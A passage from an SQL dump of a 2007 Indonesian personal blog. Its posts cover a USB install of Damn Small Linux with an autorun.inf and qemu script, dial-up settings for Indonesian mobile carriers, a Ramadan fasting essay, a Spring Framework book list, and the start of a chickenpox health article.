\r\n\r\nNOTE: This method would not work for me using DSL v3.3 with a Sandisk Cruizer Titanium USB drive.\r\n\r\nConvert .iso to USB installation\r\n\r\nWith the guide from [1] you can install the .iso contents non-destructiveley onto a USB partition. Leave out all the partitioning or formating stuff to prepare an existing and used USB drive for DSL booting:\r\n\r\nNote: All path names are examples! Please adapt or you may corrupt existing partitions or files.\r\n\r\n * Mount USB drive, with e.g. mount /dev/sda1 /flash - can be either FAT16 or FAT32!\r\n * Mount ISO image, with e.g. mount /tmp/dsl-3.2.iso /tmp/iso -o loop\r\n * Copy all contents from ISO to USB drive: cp -vr /tmp/iso/* /flash/\r\n * Rename and move syslinux files to root directory: mv /flash/boot/isolinux/* /flash/\r\n * Rename isolinux.cfg: mv /flash/isolinux.cfg /flash/syslinux.cfg\r\n * Unmount USB drive: umount /flash\r\n * Install syslinux: syslinux /dev/sda1 and eventually set the MBR boot flag for this partition (with fdisk). \r\n\r\nQuestions\r\n\r\n * Why does DSL installed on USB disk won\'t finish booting after conversion from .iso?\r\n o It appears that KNOPPIX file is hard-wired to seek for CD-ROM and not USB drive. Use embedded version. \r\n\r\n * Why does the from-within-Linux method require FAT16, but the Windows method work with FAT32? Could I just leave and reuse an existing FAT32 USB partition using the Linux syslinux version?\r\n o Either method should work however, as per previous notes, using FAT might provide better results than FAT32.\r\n o Syslinux is the key reason for FAT16 vs. FAT32... CentOS 4.4 (which is essentially Red Hat ES4) comes with syslinux 2.11 which does not support FAT32. Syslinux 3.35 (the latest, as of this writing) works with FAT32 just fine. \r\n\r\n * Why my keyboard and usb mouse do not work when I entered X windows?\r\n o Try to enable \'usb device emulation legacy\' entry in your bios setup. \r\n\r\n\r\nModifications for v 3.2 Embedded\r\n\r\nAfter installation I added autorun.inf penguin.ico /USB /tightvnc\r\n\r\nTrying to run the dsl-linux.sh in my distro did not work I had to modify the file (it was setup for a second drive and qemu did not exist in the download)\r\n\r\nHere are some configuration settings that I found I had to modify after the installation. I also created an autorun.inf that works flawlessly with this. The autorun.inf file is also configured for use of TightVNC if the folder tightvnc is created at the root of the drive. I also created a context link to the folder USB.\r\n\r\n * autorun.inf \r\n\r\n [autorun]\r\n icon=penguin.ico\r\n label=Damn Small Linux\r\n open=dsl-base.bat\r\n action=Run Damn Small Linux in qemu\r\n shell\\vncviewer\\command=tightvnc\\vncviewer.exe\r\n shell\\vncviewer=Run the VNC Viewer Application\r\n shell\\tightvnc\\command=tightvnc\\tightvnc-1.2.9-setup.exe\r\n shell\\tightvnc=Run the TightVNC Server Installation\r\n shell\\usbfolder\\command=\"explorer.exe USB\\\"\r\n shell\\usbfolder=Open the USB folder in Windows Explorer\r\n\r\n\r\nThis next file I modified and paired up with the windows equivalent so you do not have to answer the questions every boot. Some people might find the -m 256 beyond and should change as needed.\r\n\r\n * dsl-linux.sh \r\n\r\n qemu/qemu -L qemu/ -no-kqemu -soundhw sb16 -m 256 -localtime \\\r\n -kernel linux24 -initrd minirt24.gz -hda KNOPPIX/KNOPPIX \\\r\n -append \"qemu vga=791 quiet noscsi nousb nofirewire atapicd noideraid \\\r\n noacpi acpi=off noapm noagp ide1=noprobe ide2=noprobe nomce frugal\"\r\n\r\n\r\nYou must also download qemu and copy these files to the qemu dir on the usb drive.\r\n\r\n * qemu\r\n * qemu-img\r\n * qemu-i386 \r\n\r\nIf you wish to use the rest of the context menu I\'ve created, download the TightVNC installer, vncviewer and put them in a \\tightvnc.\r\n\r\nAt this point I made all of the damn small linux files hidden and hid the TightVNC, USB folders. Its a low level of security but works nicely. To use anything you just right click the drive in My Computer. ',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (47,'2007-09-13 11:21:50','Setting GPRS/3G','Setting GPRS/3G\r\n<i>\"Sering ditanya tp sering lupa dari pada cari-cari mending diposting, :P\"</i>\r\n\r\nTabel 1. Aktivasi GPRS lewat SMS\r\nOperator |Ketik |Kirim Ke\r\nTelkomsel |GPRS |6616\r\nIndosat (Matirx) |PANGPRS |888\r\nproXL |GPRS |9667\r\n\r\nTabel 2. Aktivasi 3G lewat sms\r\nOperator |Ketik |Kirim Ke\r\nTelkomsel |3G |3636\r\nIndosat (Matirx) |Reg 3G |777 \r\nproXL |GPRS |9667\r\n\r\n\r\nTabel 3. Konfigurasi Dial-Up Networking\r\nKartu |Nomor Akses |APN |User |Password \r\nGSM/GPRS/3G\r\nSimpati/Halo telkomsel |*99***1# |internet |wap |wap123\r\nMatrix |*99***1# |Satelindogprs.com |blank |blank\r\nIM3 |*99***1# |www.indosat-m3.net |gprs |Im3\r\nIndosat M2* |*99***1# |Indosat3g |indosat |indosat\r\nProxlIP: 202.152.240.50 |*99***1# |www.xlgprs.net |Xlgprs |Proxl\r\n\r\nCDMAx1 \r\nFren |#777 |- |m8 m8\r\nTelkom Flexi |#777 |- |telkomnet@flexi telkom\r\nStar One |#777 |- |Starone indosat\r\nesia |#777 |-\r\n \r\nVia provider\r\nCBN VPN-M8 |#777 |- |M8-cbn M8\r\nCBN-VPN |- |M8.cbn.net.id |User id password',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (48,'2007-09-13 11:24:27','Seting Modem Dial-up GPRS Kartu IM3 Indosat','Seting Modem Dial-up GPRS Kartu IM3 Indosat\r\n<i>\"Bisa berlaku untuk 3G/Matrix\"</i>\r\n\r\nSeting modem untuk akses internet via gprs kartu gsm im3 bisa dibilang gampang2 susah, gampang bagi yang udah pernah dan bisa, susah bagi yang belum pernah. Tapi jangan kuatir sebenarnya sangat mudah kok, sekalipun belum pernah seting modem dialup handphone. Akses internet melalui gprs kartu im3 bisa dilakukan langsung melalui handphone maupun melalui komputer, mutlak diperlukan fasilitas gprs yang harus aktif di kartu anda. Bila belum aktif, aktifkan dulu gprs anda, baru baca artikel ini. Biasanya begitu kita aktifkan kartu perdana im3 -setelah proses registrasi- gprs otomatis aktif, kalo belum silahkan telpon 300.\r\n\r\nAsumsi gprs di kartu anda sudah aktif, untuk menjadikan handphone sebagai modem dialup langkah2 nya sebagai berikut :\r\n1. Hubungkan handphone anda dengan komputer.\r\nHubungan handphone dan komputer dapat dilakukan melalui kabel data, infrared, dan bluetooth. Masing2 bisa saling menggantikan, misalnya kalo handphone anda tidak ada kabel data ya bisa pake bluetooth atau infrared, demikian sebaliknya. Dalam artikel ini saya menghubungkan handphone nokia 9300 dengan laptop.\r\n\r\n2. Install PC Suite, \r\nInstall software PC Suite di laptop atau komputer yang hendak dihubungkan dengan handphone. Bila tidak punya software tersebut bisa download di www.nokia.com , cari apakah handphone anda support PC Suite. PC Suite mensupport beragam jenis koneksi. Kabel, bluetooth, infrared dll.\r\n\r\n3. Mengecek Modem (apakah sudah terinstal).\r\nLangkah selanjutnya setting modem dialup. Jika PC Suite sudah terinstal dan handphone anda sudah terdeteksi dengan baik oleh PC Suite berarti modem dapat kita setting, cara mengecek apakah handphone sudah terdekteksi adalah melalui, my computer - properties - hardware - device manager, cek dibagian modems apakah sudah ada Nokia 9300 usb modem. Cek apakah modem bekerja dengan baik dengan cara, klik kanan Nokia 9300 usb modem - properties - dibagian diagnostics tekan tombol query modem, diagnostic akan berlangsung beberapa saat, hasilnya kita bisa lihat di kolom. Jika modem belum terdeteksi coba cek kabel, coba install software PC Suite nya lagi.\r\n\r\n4. Setting nomor dial, user name dan password.Untuk dapat men-dial ke internet kita harus mengatur nomor dial, user dan passwordnya. Untuk kartu im3 nomor dialnya adalah *99***1#, usernya gprs dan passwordnya: im3. Untuk mensettingnya, klik tombol start - all programs - accessories - \r\ncommunications - new connection wizards - next - pilih connect to internet - next - pilih set up my connection manually - next - pilih connect using a dialup modem - next - pilih nokia 9300 usb modem - next - masukk isp name (dapat diisi apa aja) - next - masukkan nomor dialnya - next - masukkan user name dan paswordnya - next - centang add a shortcut to this connection to my desktop (bila ingin membuat shortcut di desktop) - finish. Setting selesai. Coba klik dua kali shortcut dialup di desktop tadi.\r\n\r\nProses dial berjalan, verifiying user name and password..registering your computer to the network.. bila berhasil konek akan muncul gambar monitor di \r\n\r\nsystray anda..\r\n\r\nBila error 734 : the ppp link control protocol has terminated terjadi, berarti anda belum bisa koneksi ke jaringan. Hal ini terjadi karena kita belum menambahkan parameter ke modem, tambahkan baris perintah at+cgdcont=1,\"IP\",\"www.indosat-m3.net\" . Caranya, klik kanan my computer - properties - hardware - device manager - modems - pilih nokia 9300 usb modem, klik kanan - properties - dibagian advanced - extra settings masukkan baris perintah di situ - OK.',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (49,'2007-09-15 11:18:11','Puasa Sia-sia','Puasa Sia-sia\r\n<i>STUDIA Edisi 359/Tahun ke-8 (17 September 2007)\r\nhttp://studia-online.com; http://dudung.net; http://gaulislam.com</i>\r\n\r\n[solihin: www.osolihin.wordpress.com]\r\n\r\nPernah nggak ketika udah capek lari-lari mo naik kereta, eh begitu nyampe stasiun bener-bener pas-pasan: pas nyampe stasiun pas kereta berangkat. Kira-kira gondok nggak? Udah mah capek, eh malah ketinggalan kereta pula. Sia-sia deh perjuangan kita lari-lari. Gara-gara kita telat bangun, salah perhitungan dan jalanan macet. Duh, rugi banget kan?\r\n\r\nOya, ngomong-ngomong soal sia-sia sebenarnya banyak kok yang mungkin aja udah jadi pengalaman keseharian kita. Misalnya aja nih, sia-sia saja kita usaha setengah mati mencintainya, ketika menyatakan cinta malah ditolak. Tanya kenapa? Selain soal takdir, bisa jadi karena pesona kita nggak membuat si dia yakin akan kesungguhan kita. Apalagi kita udah kegeeran duluan, bahwa dia pasti menerima cinta kita. Padahal mah yang terjadi, dia nggak mikirin kita sama sekali. Tentu saja selain takdir, memang ada syarat dan ketentuan yang berlaku. salah satunya karena kita nggak punya potensi dan pesona yang membuat dia tertarik. Sia-sia kita mencintainya dengan bertepuk sebelah tangan. Sakit dan perih tuh!\r\n\r\nNah, gimana jadinya kalo kita udah setengah mati puasa tapi cuma dapetin lapar dan haus doang? Sia-sia udah pasti. Rugi? Jelas. Kecewa? Ya iya lah! Duuuh, sebulan penuh puasa cuma dapetin perut keroncongan seharian, mulut kering karena nggak dialiri air minum. Tanya kenapa?\r\n\r\nSobat muda muslim, untuk melaksanakan ibadah dalam Islam itu ada lho syarat dan ketentuannya. Nggak bisa bebas sesuka kita. Syaratnya apa? Namanya syarat, berarti kalo nggak terpenuhi ya nggak sah ibadah yang dilakukannya. Untuk melaksanakan puasa ini, syarat sah puasa adalah dia seorang muslim/muslimah. Jelas dong, karena puasa Ramadhan hanya diwajibkan bagi kaum muslimin. Selain wajib muslim/muslimah, syarat sah bisa puasa adalah orang tersebut waras alias nggak gila, juga bukan anak-anak dan tentu saja yang mampu melakukannya.\r\n\r\nSementara ketentuannya, puasa Ramadhan itu adalah dilakukan pada bulan Ramadhan. Ya iya lah, kalo bulan Rajab kita puasa bukan puasa Ramadhan namanya, tapi puasa di bulan Rajab. Kemudian, puasa Ramadhan itu dilaksanakan setelah waktu fajar hingga maghrib setiap harinya selama sebulan penuh. Tentu saja, nggak boleh makan dan minum di siang hari, bagi yang udah nikah tentunya nggak berhubungan seks di siang hari, dan ketentuan lainnya yang bisa membatalkan puasa harus dihindari.\r\n\r\nLalu, apa hubungannya dengan puasa yang sia-sia? Hmm... gini sobat, ibadah puasa syarat dan ketentuannya memang demikian seperti yang ditulis di atas itu. Namun, bukan berarti kalo kita puasa makan dan minum, puasa pula perbuatan kita sehari-hari. Nggak lha yauw. Nah, di antara perbuatan kita itu sangat boleh jadi ada perbuatan yang maksiat. Kira-kira gimana jadinya tuh kita getol puasa dan tanpa batal tapi mulut berbusa ngomongin kejelekan orang lain? Puasanya nggak batal, tapi perbuatannya berpotensi menggerus pahala puasa. Ih, rugi banget kan?\r\n\r\n Itu sebabnya Rasulullah saw. bersabda: Betapa banyak orang yang berpuasa, tapi mereka tidak mendapatkan apa-apa dari puasanya itu kecuali lapar dan dahaga” (HR Ahmad)\r\n\r\nSobat, hadis ini memberikan gambaran kepada kita untuk senantiasa waspada dengan apa yang akan kita perbuat. Sebab, puasa tidak hanya diwajibkan untuk menahan dari makan dan minum, tetapi juga menahan mata dari memandang yang dilarang, menahan telinga dari mendengar yang buruk, dan menahan mulut dari bicara kotor, mengumpat, dan menggunjing. Pun menjaga tangan dari berbuat maksiat, menjaga kaki dari melangkah ke tempat yang dilarang.\r\n\r\nNah, kira-kira sanggup nggak kita puasa dari makan dan minum di siang hari sekaligus mulut kita puasa dari perbuatan bohong, puasa dari ngomongin kejelekan orang lain? Insya Allah ada yang sanggup memang, tapi kebanyakan manusia nggak sanggup. Buktinya Rasulullah saw. menyampaikan hadis tersebut. Iya nggak?\r\n\r\n Rasulullah saw. bersabda: “Barangsiapa tidak meninggalkan perkataan dusta dan ghibah maka tiada artinya di sisi Allah baginya berpuasa dari makan dan minum” (HR Bukhari)\r\n\r\nHehe... ini bukan berarti mendingan nggak puasa. Nggak otomatis lho. Puasanya tetap nggak batal, tapi sangat berpotensi sia-sia karena pahala puasa kita ketelen terus setiap kali melakukan maksiat. Ibaratnya, maksud hati missed call sama temen, eh malah pulsa kita ketelen karena mailbox. Berkurang deh pulsa kita. Gondok nggak? Pasti, nyesel. Nah, apalagi puasa, capek-capek sebulan penuh cuma dapet lapar dan haus doang. Cacingan deh lu!\r\n\r\nBegitu juga yang puasa dari makan dan minumnya sangat tahan godaan, tapi begitu bertemu dengan pacarnya hawa nafsu yang jadi panglimanya. Jebol sudah pertahanannya. Memang masih puasa dari makan dan minum, tapi pergaulannya dengan lawan jenis bukan mahram justru udah melanggar aturan Islam. Iya dong, kan Islam mengharamkan hubungan akrab pranikah antar lawan jenis seperti yang udah sering dibahas oleh buletin ini . Nah, kira-kira, puasanya batal nggak? Puasanya insya Allah nggak batal (selama nggak makan dan minum saat kencan tersebut), tapi pahala puasa itu bakalan ‘didiskon’ gara-gara melakukan maksiat tersebut. Kalo maksiatnya lebih banyak, mana tabungan pahalanya dong? Jadi, yang didapat nantinya cuma lapar dan haus doang. Halah, rugi euy!\r\nBerlomba memperbanyak amal shaleh\r\n\r\nSobat muda muslim, bagi kamu yang senang belanja dan kebetulan di tempat belanja langgananmu itu diadakan diskon gede-gedean semua produk yang dijual selama sebulan penuh dan pada saat itu kamu lagi banyak duit, kira-kira apa yang akan kamu lakukan? Yup, umumnya bakalan datengin tuh tempat jualan karena diskonnya sangat menggiurkan. Misalnya, sepatu yang tadinya berbandrol Rp 100 ribu di lain waktu, tapi kalo saat diskon di bulan ini jadi cuma Rp 40 ribu. Waduh, bisa dapet dua kan? Seneng banget nggak? Pasti, apalagi itu sepatu inceran sejak lama.\r\n\r\nNah, di bulan Ramadhan juga kira-kira begitu deh analoginya. Karena pada bulan Ramadhan ini Allah Swt. benar-benar memberikan pahala yang banyak dan dalam jumlah yang besar. Rasulullah saw. bersabda: “Sungguh telah datang kepadamu bulan Ramadhan, bulan yang penuh keberkahan. Allah telah memfardlukan atas kamu puasanya. Di dalam bulan Ramadhan dibuka segala pintu surga dan dikunci segala pintu neraka dan dibelenggu seluruh setan. Padanya ada suatu malam yang lebih baik dari seribu bulan. Barangsiapa tidak diberikan kepadanya kebaikan malam itu maka sesungguhnya dia telah dijauhkan dari kebajikan” (HR Ahmad)\r\n\r\nDiriwayatkan dalam Shahih al-Bukhari dan Muslim dari Abu Hurairah r.a, bahwa Nabi saw. bersabda: “Setiap amal yang dilakukan anak adam adalah untuknya, dan satu kebaikan dibalas sepuluh kali lipatnya bahkan sampai tujuh ratus kali lipat. Allah Ta’ala berfirman, ‘Kecuali puasa, itu untukKu dan Aku yang langsung membalasnya. Ia telah meninggalkan syahwat, makan dan minumnya karenaKu.’ Orang yang berpuasa mendapatkan dua kesenangan, yaitu kesenangan ketika berbuka puasa dan kesenangan ketika berjumpa dengan Tuhannya. Sungguh, bau mulut orang berpuasa lebih harum daripada aroma kesturi.”\r\n\r\nSobat, pada malam di bulan Ramadhan, Islam memotivasi umatnya untuk mengerjakan amalan sunnah; shalat tarawih dan tadarus al-Quran. Dorongan untuk melaksanakan shalat sunnah harus dipahami bahwa shalat wajib harus lebih giat lagi untuk dilakukan. Jangan sampe tarawih mah getol karena senang rame-rame di masjid tapi kewajiban shalat yang lima waktu dilaksanakan sesukanya, yee itu salah prosedur atuh. Karena tidak ada shalat sunnah bagi yang tidak pernah shalat wajib. Sungguh sangat aneh bila kita giat melaksanakan shalat sunnah, sementara shalat wajib dilalaikan atau bahkan ditinggalkan. Tul nggak?\r\n\r\nKenapa hal ini bisa terjadi? Yup, karena kaum muslimin acapkali terjebak dalam ritualisme ibadah. Artinya, kaum muslimin ketika melaksanakan ibadah hanya untuk memenuhi kewajiban semata, tanpa memperhatikan esensi dari setiap bacaan yang ia ucapkan atau gerakan yang ia lakukan dalam ibadahnya itu. Akibatnya, ibadah yang seharusnya memberi pengaruh terhadap perilaku, menjadi gerakan atau ucapan yang kosong tanpa makna. Idih, sia-sia banget kan?\r\n\r\nMaka sungguh sangat disayangkan jika di antara kita banyak yang kuat menahan diri dari rasa lapar dan haus, sementara tak bisa berkutik untuk menahan godaan hawa nafsu. Mulut kita bisa bertahan dari makanan atau minuman, tetapi tidak bisa menahan dari menggunjing, mengumpat, dan bicara kotor. Puasanya memang tidak batal, tetapi esensi dari ibadah shaum yang mengajarkan untuk semakin meningkatkan ketakwaan kita (sebagaimana dalam QS al-Baqarah ayat 183), menjadi tidak bermakna. Puasa kita menjadi sia-sia. Sebab tak mendapatkan apa-apa (pahala), kecuali hanya rasa lapar dan haus.\r\n\r\nSobat, Islam adalah totalitas. Itu artinya, saat kita ibadah ritual dengan ketika kita melakukan muamalah (jual beli, bekerja dsb.), keduanya harus senantiasa berpatokan kepada aturan Islam. Nggak boleh aturan lain.\r\n\r\nBanyak aktivitas amalan sunnah di bulan Ramadhan yang berpotensi mendulang pahala yang bisa kita kerjakan bersama atau sendiri. Selain tadarus al-Quran dan shalat tarawih, masih ada i’tikaf pada sepuluh hari terakhir di bulan Ramadhan sekalian untuk ‘nangkep’ lailatul qadr, kalo punya rejeki banyak silakan umrah ke tanah suci. Yuk, terus perbanyak amal shaleh kita. Tapi, tentunya amal buruk sebisa mungkin dikurangi, syukur-syukur kalo bisa menghilangkannya sama sekali. Semoga Allah Swt. memudahkan segala upaya kita untuk meraih pahalaNya. Amin.\r\nSekadar ngingetin\r\n\r\nSekadar ngingetin aja nih. Tentunya bukan cuma buat kamu semua, tapi juga saya sendiri sebagai penulis artikel ini. Semoga kita semua senantiasa diberikan kekuatan iman, kekuatan takwa, dan kekuatan fisik dalam menjalani ibadah di bulan Ramadhan ini. Semoga puasa kita bukan puasa yang sia-sia, tapi puasa yang diberkahiNya. Itu sebabnya, ibadah puasa kita selama Ramadhan ini, harus dibarengi dengan banyaknya amal shaleh yang kita kerjakan dan insya Allah mampu menjadikan kita sebagai orang-orang yang bertakwa kepada Allah Swt. Nggak ada daya dan upaya kecuali dari Allah Swt. Yuk, kita sama-sama berdoa dan berusaha agar Allah Swt. memilih kita sebagai hamba-hambaNya yang beriman dan bertakwa. Amin.',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (50,'2007-09-19 13:16:57','SPRING FRAMEWORK','SPRING FRAMEWORK \r\n<img src=\"../img_collections/Spring_Framework.jpg\" alt=\"Spring Framework\">\r\n<i>\"<b>2 MInggu ini</b> mamat akan jadi orang sok serius, mungkin jadi jarang senyum soalnya begadang terus hehe, apa boleh buat soalnya harus saingan ma UCOK(Andika W). Wkekekek :D, si Ucok target nguasai SPRING butuh 1 Bulan, weleh tak cobak target 2 minggu nyampek gak yak hihi. \r\n\r\n(Ya Allah pemilik SEGALA macam ILMU, mudah kan kami hambaMu ini, dalam menguasainya <b>AMIEEEN</b>)\r\n\r\n\"</i>.\r\n\r\nSEMANGAT mumpung sik enom, lek tuek ngantuk terus...! :P\r\n\r\n<a href=\"http://www.springframework.org/books?from=0\" target=\"_blank\">http://www.springframework.org/books?from=0</a>\r\n<a href=\"http://en.wikipedia.org/wiki/Spring_Framework\" target=\"_blank\">http://en.wikipedia.org/wiki/Spring_Framework</a>\r\n\r\nSPRING FRAME WORK Ebook \r\n\r\n<b>New Book: Working with Spring Web Flow</b>\r\nSubmitted by Colin Sampaleanu on Thu, 2007-09-06 02:22. Book Description\r\n\r\nErvacon has published the first book dedicated entirely to Spring Web Flow: Working with Spring Web Flow.\r\n\r\nThis book by Spring Web Flow project founder Erwin Vervaet, covers Spring Web Flow in detail by explaining its motivation and feature set, as well as providing practical guidance for using the framework to develop web applications successfully in a number of environments.\r\n\r\n<b>Spring in Action, Second Edition</b>\r\nSubmitted by Colin Sampaleanu on Thu, 2007-08-09 17:06. Book Description\r\n\r\nFrom the publisher:\r\n\r\n\"Spring is a fresh breeze blowing over the Java landscape. Based on the principles of dependency injection, interface-oriented design, and aspect-oriented programming, Spring combines enterprise application power with the simplicity of plain-old Java objects (POJOs).\r\n\r\nIn this second edition, Spring in Action has been completely updated to cover the exciting new features of Spring 2.0. The book begins by introducing you to the core concepts of Spring and then quickly launches into a hands-on exploration of the framework. Combining short code snippets and an ongoing example developed throughout the book, it shows you how to build simple and efficient J2EE applications. You will see how to solve persistence problems, handle asynchronous messaging, create and consume remote services, build web applications, and integrate with most popular web frameworks. You will learn how to use Spring to write simpler, easier to maintain code so that you can focus on what really matters--your critical business needs.\"\r\n» login or register to post comments\r\nSpring - Framework für die Java Entwicklung\r\nSubmitted by Eberhard Wolff on Sat, 2006-07-08 16:31. Book Description\r\n\r\nThis is a German book about the Spring framework. Therefore the rest of the description will also be in German.\r\nDas Buch bietet eine umfassende Einführung in das Spring-Framework und behandelt u.a.:\r\n\r\n * Dependency Injection\r\n * Aspektorientierte Programmierung\r\n * Transaktionen\r\n * Persistenz (JDBC, iBATIS, Hibernate)\r\n * Verteilte Anwendungen (RMI, SOAP, HTTP, EJB)\r\n * Spring Web Framework\r\n * Integration in Struts und JSF\r\n * Neue Features in Spring 2.0\r\n\r\nDarüber hinaus erhält der Leser einen Überblick über fortgeschrittene Fähigkeiten von Spring und über Technologien aus dem Spring-Umfeld. Dazu zählen das Acegi-Sicherheitsframework, Spring Web Flow und Spring Rich Client.\r\n\r\n<b>Agile Java Development with Spring, Hibernate and Eclipse</b>\r\nSubmitted by Colin Sampaleanu on Thu, 2006-05-25 09:51. Book Description\r\nFrom Amazon: Agile Java™ Development With Spring, Hibernate and Eclipse is a book about robust technologies and effective methods which help bring simplicity back into the world of enterprise Java development. The three key technologies covered in this book, the Spring Framework, Hibernate and Eclipse, help reduce the complexity of enterprise Java development significantly. Furthermore, these technologies enable plain old Java objects (POJOs) to be deployed in light-weight containers versus heavy-handed remote objects that require heavy EJB containers.\r\n\r\n<b>Spring par la pratique</b>\r\nSubmitted by Colin Sampaleanu on Wed, 2006-05-03 16:35. Book Description\r\nThis is the first French-language book on the Spring Framework, and includes material on both Spring 1.2 and Spring 2.0.\r\n\r\n<b>Expert Spring MVC and Web Flow</b>\r\nSubmitted by Thomas Risberg on Fri, 2006-02-24 07:32. Book Description\r\nExpert Spring MVC and Web Flow provides in-depth coverage of Spring MVC and Spring Web Flow. This book takes great care in covering every inch of Spring MVC and Spring Web Flow to give you the complete picture. Along with all the best known features of these frameworks, you’ll discover some new hidden treasures. You’ll also learn how to correctly and safely extend the frameworks to create customized solutions.\r\n\r\n\r\n<b>Professional Java Development with the Spring Framework</b>\r\nSubmitted by Colin Sampaleanu on Fri, 2005-07-08 10:25. Book Description\r\nFrom the Editorial Review: \r\nThis in-depth, authoritative book-written by the lead developers of the Spring Framework-describes common types of problems faced by Java developers and then shows how Spring can help solve them.\r\nCovering the complete spectrum of Java development, the book introduces well-known techniques (such as design patterns) to solve problems as well as new and innovative approaches that can be used in conjunction with other popular open source technologies like Hibernate and Velocity.\r\n\r\n<b>Spring: A Developer\'s Notebook</b>\r\nSubmitted by Thomas Risberg on Sat, 2005-04-23 16:53. Book Description\r\nSince development first began on Spring in 2003, there\'s been a constant buzz about it in Java development publications and corporate IT departments. The reason is clear: Spring is a lightweight Java framework in a world of complex heavyweight architectures that take forever to implement. Spring is like a breath of fresh air to overworked developers.\r\n\r\n<b>Spring in Action</b>\r\nSubmitted by Thomas Risberg on Fri, 2005-02-11 17:00. Book Description\r\nWritten for enterprise Java developers who have become disillusioned with the complexity and bulk involved with EJB development, this programming tool demonstrates how the Spring framework can make coupled code easy to manage, understand, reuse, and unit-test. Spring\'s employment of inversion control and aspect-oriented programming techniques to encourage loosely coupled code is explained, providing programmers with the ability to use JavaBeans with the power and enterprise services only previously available in the heavier Enterprise JavaBeans.\r\n\r\n<b>Pro Spring</b>\r\nSubmitted by Colin Sampaleanu on Thu, 2005-01-20 08:00. Book Description\r\nPro Spring is a comprehensive reference to the Spring Framework and the ideal companion for any serious Spring developer. Suitable for both beginners and experts alike, Pro Spring starts at the very beginning with coverage of the basics of Inversion of Control and AOP. Beyond this, developers will find extensive coverage of J2EE integration, data access with Spring, JavaMail integration, Quartz integration and Spring MVC.\r\n\r\n<b>Spring Live</b>\r\nSubmitted by Thomas Risberg on Sun, 2004-10-31 17:00. Book Description\r\nSpring Live is designed to explain how to integrate Spring into your projects to make your development life easier. It is aimed at users that are familiar with Java development, but have never used Spring. As you read this title, you will learn how Spring reduces the amount of code you have to write and why it\'s getting so much attention (and respect) from the Java community.\r\n\r\n<b>Expert One-on-One J2EE Development without EJB</b>\r\nSubmitted by Colin Sampaleanu on Mon, 2004-06-21 00:00. Book Description\r\nExpert One-on-One J2EE Development without EJB shows Java developers and architects how to build robust J2EE applications without having to use Enterprise JavaBeans (EJB). This practical, code-intensive guide provides best practices for using simpler and more effective methods and tools, inlcuding JavaServer pages, servlets, and lightweight frameworks.\r\n\r\n<b>Better, Faster, Lighter Java</b>\r\nSubmitted by Thomas Risberg on Tue, 2004-06-01 17:00. Book Description\r\nIn Better, Faster, Lighter Java authors Bruce Tate and Justin Gehtland argue that the old heavyweight architectures are unwieldy, complicated, and contribute to slow and buggy application code. As an alternative means for building better applications, the authors present two \"lightweight\" open source architectures: Hibernate--a persistence framework that does its job with a minimal API and gets out of the way, and Spring--a container that\'s not invasive, heavy or complicated.\r\n\r\n<b>Expert One-on-One J2EE Design and Development</b>\r\nSubmitted by Thomas Risberg on Thu, 2004-01-01 12:00. Book Description\r\nThe results of using J2EE in practice are often disappointing – applications are often slow, unduly complex, and take too long to develop. I believe that the problem lies not in J2EE itself, but in that it is often used badly. Many J2EE publications advocate approaches that, while fine in theory, often fail in reality, or deliver no real business value. \r\nIn this book I offer a real-world, how-to guide so that you can make J2EE work in practice. I draw on my experience of designing successful high-volume J2EE applications and salvaging failing projects, as well as intimate knowledge of the J2EE specifications.\r\n',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (51,'2007-09-25 17:51:44','HARUSKAH KITA TERKENA CACAR AIR?','HARUSKAH KITA TERKENA CACAR AIR?\r\nSeringkali kita bertanya-tanya bagaimana kalau sampai usia dewasa belum terkena penyakit cacar air? Apa perlu sengaja ditulari?\r\n<i>(ane akhirnya kena juga waktu umur 21 tahun ini, byuh)</i>\r\n\r\nCacar air atau varisela memang merupakan penyakit anak-anak yang sudah ratusan tahun dikenal orang. Diawali dengan gejala melemahnya kondisi tubuh, pusing, demam yang kadang-kadang diiringi batuk, dalam waktu 24 jam timbul bintik-bintik yang berkembang menjadi lesi (mirip kulit yang terangkat karena terbakar) dan terakhir menjadi benjolan-benjolan kecil berisi cairan.\r\n\r\n Sekitar 250 - 500 benjolan akan timbul menyebar di seluruh bagian tubuh, tidak terkecuali pada muka, kulit kepala, mulut bagian dalam, mata, termasuk bagian tubuh yang paling intim.\r\n\r\n Namun dalam waktu kurang dari seminggu, lesi ini akan mengering dan bersamaan dengan itu terasa gatal. Dalam waktu 1 - 3 minggu bekas pada kulit yang mengering akan terlepas.\r\n\r\n Di negara dunia ke tiga, termasuk Indonesia, bahaya cacar air sering dianggap penyakit remeh. Masyarakat pada umumnya telah terbiasa hidup dengan mitos, bahwa cacar air merupakan penyakit yang harus dialami dan tak mungkin dicegah.\r\n\r\n Virus varisela zoster penyebab penyakit cacar air ini berpindah dari satu orang ke orang lain melalui percikan ludah yang berasal dari batuk atau bersin penderita dan diterbangkan melalui udara atau kontak langsung dengan kulit yang terinfeksi. Virus ini masuk ke tubuh manusia melalui paru-paru dan tersebar ke bagian tubuh melalui kelenjar getah bening. Setelah melewati periode 14 hari virus ini akan menyebar dengan pesatnya ke jaringan kulit. Memang sebaiknya penyakit ini dialami pada masa kanak-kanak daripada kalau sudah dewasa. Sebab itu seringkali orang tua membiarkan anak-anaknya terkena cacar air lebih dini.\r\n\r\n \r\n \r\n Mengapa demikian?\r\n\r\n Para pakar kedokteran mengatakan, gejala yang dialami pada orang dewasa lebih parah daripada pada masa kanak-kanak. Demam yang dialami lebih parah dan berlangsung lebih lama, sakit kepala serta lukanya lebih berat serta bekas luka yang ditinggalkan akan lebih dalam. Kalau pada anak-anak kebanyakan komplikasi hanya berupa infeksi varisela pada kulit, pada orang dewasa kemungkinan terjadinya komplikasi berupa radang paru-paru atau pneumonia 10 - 25 lebih tinggi daripada pada anak. Perokok dikatakan berisiko pneumonia lebih tinggi dibanding yang bukan perokok. Komplikasi yang langka tapi bisa terjadi berupa radang otak, radang sumsum tulang, kegagalan hati, hepatitis serta sindrom Reye (kelainan pada otak 